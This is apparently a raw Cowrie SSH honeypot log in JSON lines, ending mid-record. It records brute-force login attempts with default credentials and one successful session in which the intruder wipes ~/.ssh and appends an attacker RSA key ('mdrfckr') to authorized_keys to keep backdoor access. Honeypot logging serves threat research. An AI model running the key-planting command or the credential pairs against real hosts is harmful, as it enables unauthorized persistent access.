{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:54.247552Z","src_ip":"103.62.152.202","session":"bbf1c144659a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vboxuser","password":"Vboxuser123","message":"login attempt [vboxuser/Vboxuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:55.359074Z","src_ip":"103.62.152.202","session":"bbf1c144659a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.71.136.125","src_port":42634,"dst_ip":"10.17.0.5","dst_port":22,"session":"94c8cf3557ad","protocol":"ssh","message":"New connection: 116.71.136.125:42634 (10.17.0.5:22) [session: 94c8cf3557ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:56.592893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:56.596848Z","src_ip":"116.71.136.125","session":"94c8cf3557ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"218.0.63.25","src_port":35930,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2b39a344b06","protocol":"ssh","message":"New connection: 218.0.63.25:35930 (10.17.0.5:22) [session: b2b39a344b06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:56.601296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:56.608381Z","src_ip":"218.0.63.25","session":"b2b39a344b06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:56.631179Z","src_ip":"103.62.152.202","session":"bbf1c144659a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:56.820025Z","src_ip":"116.71.136.125","session":"94c8cf3557ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:56.828316Z","src_ip":"218.0.63.25","session":"b2b39a344b06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.218.242.31","src_port":41754,"dst_ip":"10.17.0.5","dst_port":22,"session":"38249196c45a","protocol":"ssh","message":"New connection: 103.218.242.31:41754 (10.17.0.5:22) [session: 38249196c45a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:57.137269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:57.141338Z","src_ip":"103.218.242.31","session":"38249196c45a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:57.359702Z","src_ip":"103.218.242.31","session":"38249196c45a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"12345678","message":"login attempt [username/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:57.737799Z","src_ip":"116.71.136.125","session":"94c8cf3557ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.240.75.51","src_port":57986,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed21ce4eaf73","protocol":"ssh","message":"New connection: 35.240.75.51:57986 (10.17.0.5:22) [session: ed21ce4eaf73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:57.890544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:57.893745Z","src_ip":"35.240.75.51","session":"ed21ce4eaf73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:58.081758Z","src_ip":"35.240.75.51","session":"ed21ce4eaf73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lima","password":"12345678","message":"login attempt [lima/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:58.263730Z","src_ip":"103.218.242.31","session":"38249196c45a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"max","password":"1234","message":"login attempt [max/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:58.300758Z","src_ip":"218.0.63.25","session":"b2b39a344b06","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"13241324","message":"login attempt [root/13241324] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:58.627232Z","src_ip":"35.240.75.51","session":"ed21ce4eaf73","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:58.918261Z","src_ip":"35.240.75.51","session":"ed21ce4eaf73","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:58.921667Z","src_ip":"35.240.75.51","session":"ed21ce4eaf73","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:58.924903Z","src_ip":"35.240.75.51","session":"ed21ce4eaf73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:58.962446Z","src_ip":"116.71.136.125","session":"94c8cf3557ad","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:59.077335Z","src_ip":"35.240.75.51","session":"ed21ce4eaf73","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:59.374150Z","src_ip":"35.240.75.51","session":"ed21ce4eaf73","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:59.376992Z","src_ip":"35.240.75.51","session":"ed21ce4eaf73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":54948,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d7eb3bc9d76","protocol":"ssh","message":"New connection: 92.118.39.92:54948 (159.203.135.109:22) [session: 5d7eb3bc9d76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:59.441590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:59.445684Z","src_ip":"92.118.39.92","session":"5d7eb3bc9d76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:59.484184Z","src_ip":"103.218.242.31","session":"38249196c45a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:59.528402Z","src_ip":"218.0.63.25","session":"b2b39a344b06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:59.549407Z","src_ip":"92.118.39.92","session":"5d7eb3bc9d76","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:59.564926Z","src_ip":"35.240.75.51","session":"ed21ce4eaf73","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:59.569222Z","src_ip":"35.240.75.51","session":"ed21ce4eaf73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.240.75.51","src_port":49402,"dst_ip":"10.17.0.5","dst_port":22,"session":"da9893028891","protocol":"ssh","message":"New connection: 35.240.75.51:49402 (10.17.0.5:22) [session: da9893028891]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:59.639350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:59.642292Z","src_ip":"35.240.75.51","session":"da9893028891","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:59.843931Z","src_ip":"35.240.75.51","session":"da9893028891","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webmaster","password":"webmaster","message":"login attempt [webmaster/webmaster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:59.975786Z","src_ip":"92.118.39.92","session":"5d7eb3bc9d76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:57:00.377068Z","src_ip":"35.240.75.51","session":"da9893028891","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:57:01.178960Z","src_ip":"92.118.39.92","session":"5d7eb3bc9d76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:57:01.567654Z","src_ip":"35.240.75.51","session":"da9893028891","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.240.75.51","src_port":49412,"dst_ip":"10.17.0.5","dst_port":22,"session":"e10c4120d48c","protocol":"ssh","message":"New connection: 35.240.75.51:49412 (10.17.0.5:22) [session: e10c4120d48c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:57:01.642305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:57:01.647017Z","src_ip":"35.240.75.51","session":"e10c4120d48c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openss